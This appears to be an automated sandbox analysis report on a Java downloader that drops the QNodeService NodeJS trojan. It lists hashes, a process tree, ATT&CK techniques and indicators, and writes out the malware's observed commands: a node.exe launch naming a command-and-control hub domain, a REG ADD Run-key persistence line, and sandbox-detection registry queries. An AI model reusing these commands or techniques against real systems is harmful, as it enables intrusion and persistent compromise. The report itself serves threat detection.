qnodeservice | 1818155d1ed800bb6070132cae82038553cfa16f12a1ee12a0395305241f44c5

General

Target

PO#361609.jar
Size

137KB
MD5

e527e094c523bae39ead12ea9a341a87
SHA1

bd040811292b98a266a794fa1db728c4852ef8ae
SHA256

1818155d1ed800bb6070132cae82038553cfa16f12a1ee12a0395305241f44c5
SHA512

b71864da5f9fed6d7c18fefdd748f3047d8895dd4d41febc873be06a4e1a4b112a1db7f9aaed9827c779f0cd4bc3da4efb86d235d99f84ed93a52334a7bb317f

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3844	node.exe
1648	node.exe
1956	node.exe

Loads dropped DLL 6 IoCs

pid	Process
1956	node.exe
1956	node.exe
1956	node.exe
1956	node.exe
1956	node.exe
1956	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\aedb60b4-0ee9-4fc3-9de1-900c65c06f43 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.9-beta\\boot.vbs\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001adad-165.dat	js
behavioral2/files/0x000100000001adad-170.dat	js
behavioral2/files/0x000100000001adad-174.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	wtfismyip.com
22	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3844	node.exe
3844	node.exe
3844	node.exe
3844	node.exe
1648	node.exe
1648	node.exe
1648	node.exe
1648	node.exe
1956	node.exe
1956	node.exe
1956	node.exe
1956	node.exe
1956	node.exe
1956	node.exe
1956	node.exe
1956	node.exe
1956	node.exe
1956	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3768 wrote to memory of 2076	3768	java.exe	74
PID 3768 wrote to memory of 2076	3768	java.exe	74
PID 2076 wrote to memory of 3844	2076	javaw.exe	78
PID 2076 wrote to memory of 3844	2076	javaw.exe	78
PID 3844 wrote to memory of 1648	3844	node.exe	80
PID 3844 wrote to memory of 1648	3844	node.exe	80
PID 1648 wrote to memory of 1956	1648	node.exe	81
PID 1648 wrote to memory of 1956	1648	node.exe	81
PID 1956 wrote to memory of 2264	1956	node.exe	83
PID 1956 wrote to memory of 2264	1956	node.exe	83
PID 2264 wrote to memory of 3692	2264	cmd.exe	84
PID 2264 wrote to memory of 3692	2264	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\PO#361609.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3768
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\ef1b7bac.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain holdlozx.riepsol.com --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3844
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_DKCwFF\boot.js --hub-domain holdlozx.riepsol.com --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1648
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_DKCwFF\boot.js --hub-domain holdlozx.riepsol.com --hub-domain localhost
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1956
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "aedb60b4-0ee9-4fc3-9de1-900c65c06f43" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.9-beta\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2264
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "aedb60b4-0ee9-4fc3-9de1-900c65c06f43" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.9-beta\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3692

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1648-171-0x0000037AC55C0000-0x0000037AC55C1000-memory.dmp

Filesize
4KB

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memory/1956-175-0x000002207A500000-0x000002207A501000-memory.dmp

Filesize
4KB

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memory/3844-168-0x0000010594100000-0x0000010594101000-memory.dmp

Filesize
4KB

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